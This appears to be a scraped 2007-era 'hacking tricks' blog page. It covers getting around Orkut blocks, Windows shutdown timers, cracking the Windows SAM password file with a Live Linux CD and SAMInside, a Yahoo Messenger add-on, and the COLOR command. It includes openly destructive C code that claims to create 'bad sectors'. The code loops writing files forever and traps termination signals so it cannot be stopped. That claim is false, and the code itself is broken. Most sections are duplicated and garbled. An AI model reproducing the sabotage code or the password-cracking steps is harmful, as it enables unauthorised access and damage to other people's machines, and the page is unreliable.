If you are in office or school or university campus where Orkut is blocked, either by the office administrator or by your organization then you can access it easily without any hassles. This can also be tried by users living in countries where Orkut is blocked by their ISP. There are 2 sites that can help:
1.Just go to www.mathtunnel.com and type in the name of any site you want to access. This works for Orkut and other blocked sites too.
2.There is one more site www.gravitywars.com .This is very good as it is updated regularly.
Even though the blocked sites can be accessed through proxy servers as I have discussed in my earlier post, but i have noticed that the sites for proxy servers is blocked at various places.
Monday, October 22, 2007
How to Shutdown PC with timer
Do you know that you can make your PC shutdown at a time u wish to?
Here is the trick!!
How To Make A Shutdown Timer!
********** METHOD # 1 *************************
Right click on your desktop and choose "New=>shortcuts".
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse
TO ABORT:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.
********* METHOD # 2 **************
{EASIER THAN THE PREVIOUS ONE}
********* METHOD # 2 **************
Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in
start=>Run
Type Code: at 11:35 shutdown -s
TO ABORT:
Code:shutdown -a
Here is the trick!!
How To Make A Shutdown Timer!
********** METHOD # 1 *************************
Right click on your desktop and choose "New=>shortcuts".
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse
TO ABORT:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.
********* METHOD # 2 **************
{EASIER THAN THE PREVIOUS ONE}
********* METHOD # 2 **************
Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in
start=>Run
Type Code: at 11:35 shutdown -s
TO ABORT:
Code:shutdown -a
Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003
SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.
-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.
-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.
Multiple Yahoo Messenger / Yahoo Pal
Yahoo! Pal is an invisible program, it will automatically attach to running Yahoo! Messenger and new Yahoo! Messengers you run after Yahoo! Pal, and add menu bar to the Yahoo! Messenger windows. You can also quit it by clicking its menu. ∙ Allow multiple accounts on the same computer. ∙ Automatically reply when you are away. . Send a random quote to your friend. ∙ Hotkey to hide Yahoo! Messengers windows. CLICK HERE TO DOWNLOAD.
Multiple Yahoo Messenger / Yahoo Pal
Yahoo! Pal is an invisible program, it will automatically attach to running Yahoo! Messenger and new Yahoo! Messengers you run after Yahoo! Pal, and add menu bar to the Yahoo! Messenger windows. You can also quit it by clicking its menu. ∙ Allow multiple accounts on the same computer. ∙ Automatically reply when you are away. . Send a random quote to your friend. ∙ Hotkey to hide Yahoo! Messengers windows. CLICK HERE TO DOWNLOAD.
Create BAD sectors on HDD
This program will create BAD Sectors on HDD. (Use at your own risk) #include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
Change DOS Colour
SYNTAX Sets the default console foreground and background colors.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.
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